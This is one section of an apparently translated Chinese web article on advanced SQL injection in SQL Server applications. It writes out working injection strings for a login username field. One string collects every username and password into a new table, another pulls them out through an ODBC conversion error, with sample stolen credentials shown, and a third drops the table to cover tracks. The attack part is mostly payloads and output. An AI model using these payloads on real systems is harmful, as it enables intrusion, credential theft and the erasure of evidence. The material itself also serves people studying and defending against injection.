开发学院数据库 MSSQL Server Sql server应用程序中的高级SQL注入阅读

Sql server应用程序中的高级SQL注入

　2007-05-18 09:39:43　来源：WEB开发网　　　

核心提示： begin declare @ret varchar(8000)set @ret=':'select @ret=@ret+' '+username+'/'+password from users whereusername>@retse

　　begin declare @ret varchar(8000)
　　set @ret=':'
　　select @ret=@ret+' '+username+'/'+password from users where
　　username>@ret
　　select @ret as ret into foo
　　end

攻击者使用这个当作用户名登陆（都在一行）

Username: ''; begin declare @ret varchar(8000) set @ret='':'' select @ret=@ret+'' ''+username+''/''+password from users where username>@ret select @ret as ret into foo end—

这就创建了一个foo表，里面只有一个单独的列''ret''，里面存放着我们得到的用户名和密码的字符串。正常情况下，一个低权限的用户能够在同一个数据库中创建表，或者创建临时数据库。

然后攻击者就可以取得我们要得到的字符串：

　　Username：'' union select ret,1,1,1 from foo—
　　Microsoft OLE DB Provider for ODBC Drivers error ''80040e07''
　　[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '': admin/r00tr0x! guest/guest chris/password fred/sesame'' to a column of data type int.
　　/process_login.asp, line 35

然后丢弃（删除）表来清楚脚印：

Username：''; drop table foo—

这个例子仅仅是这种技术的一个表面的作用。没必要说，如果攻击者能够从数据库中获得足够的错误西，他们的工作就变的无限简单。

获得更高的权限

上一页 4 5 6 7 8 9 10 下一页